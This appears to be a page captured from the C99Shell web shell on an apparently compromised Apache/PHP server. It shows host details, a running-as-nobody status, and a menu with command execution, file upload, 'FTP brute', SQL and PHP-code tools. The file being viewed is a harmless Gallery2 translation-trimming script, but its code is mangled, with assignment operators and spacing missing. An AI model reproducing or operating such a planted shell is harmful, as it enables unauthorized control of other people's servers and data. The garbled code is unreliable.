!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/home/jerryg/public_html/gallery2/lib/tools/po/   drwxr-xr-x
Free 318.38 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     trim-po.php (2.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Usage: php trim-po.php xx_YY.po
 * Prints a copy of xx_YY.po, omitting all translations that match xx.po.
 * If not of form xx_YY.po or xx.po does not exist then trim any translations
 * where msgid == msgstr (applies mainly to en_*).
 * Both cases also print warnings for any translation hints that are not
 * handled in this translation (and will appear in the application).
 */
$path $argv[1];
if (
preg_match('#^/cygdrive/(\w+)/(.*)$#'trim($path), $matches)) {
    
/* Cygwin and Window PHP filesystem function don't play nice together. */
    
$path $matches[1] . ':\\' str_replace('/''\\'$matches[2]);
}

$langpath preg_replace('{(..)_..\.po$}''$1.po'$path);

if (
$langpath == $path || !file_exists($langpath)) {
    if (
$langpath != $path && !in_array(basename($langpath), array('en.po''zh.po'))) {
    
fwrite(stdErr(), "\nWarning: $path without $langpath\n");
    }
    list (
$po$header) = readPo($path);
    print 
$header;
    foreach (
$po as $id => $data) {
    
checkHint($id$data['msgstr'], $path);
    if (
substr($id5) != substr($data['msgstr'], 6)) {
        print 
$data['before'] . $id $data['msgstr'] . "\n";
    }
    }
    exit;
}

list (
$po$header) = readPo($path);
list (
$langpo) = readPo($langpath);

print 
$header;
foreach (
$po as $id => $data) {
    
checkHint($id$data['msgstr'], $path);
    if (!isset(
$langpo[$id]) || $langpo[$id]['msgstr'] != $data['msgstr']) {
    print 
$data['before'] . $id $data['msgstr'] . "\n";
    }
}

function 
checkHint($msgid$msgstr$path) {
    if (
strpos($msgid'<!--') !== false && $msgstr == "msgstr \"\"\n") {
    
fwrite(stdErr(), "\nWarning: Unhandled translator hint in $path\n");
    }
    if (
strpos($msgstr'<!--') !== false) {
    
fwrite(stdErr(), "\nWarning: Translation contains hint in $path\n");
    }
}

function 
readPo($path) {
    
$header $data = array();
    
$lines file($path);
    for (
$line 'a'$lines && trim($line); $header[] = $line) {
    
$line array_shift($lines);
    }
    
$id $str false;
    
$key $value $before '';
    while (
$lines) {
    
$line array_shift($lines);
    if (!
$id && substr($line05) == 'msgid') {
        
$id true;
    } else if (
$id && substr($line06) == 'msgstr') {
        
$str true;
    } else if (
$id && $str && !trim($line)) {
        
$data[$key] = array('msgstr' => $value'before' => $before);
        
$id $str false;
        
$key $value $before '';
        continue;
    }
    if (
$str) {
        
$value .= $line;
    } else if (
$id) {
        
$key .= $line;
    } else {
        
$before .= $line;
    }
    }
    if (
$key && $value) {
    
$data[$key] = array('msgstr' => $value'before' => $before);
    }
    return array(
$dataimplode(''$header));
}

function 
stdErr() {
    static 
$stdErr;
    if (!
defined('STDERR')) {
    
/* Already defined for CLI but not for CGI */
    
$stdErr fopen('php://stderr''w');
    
define('STDERR'$stdErr);
    }
    return 
STDERR;
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0168 ]--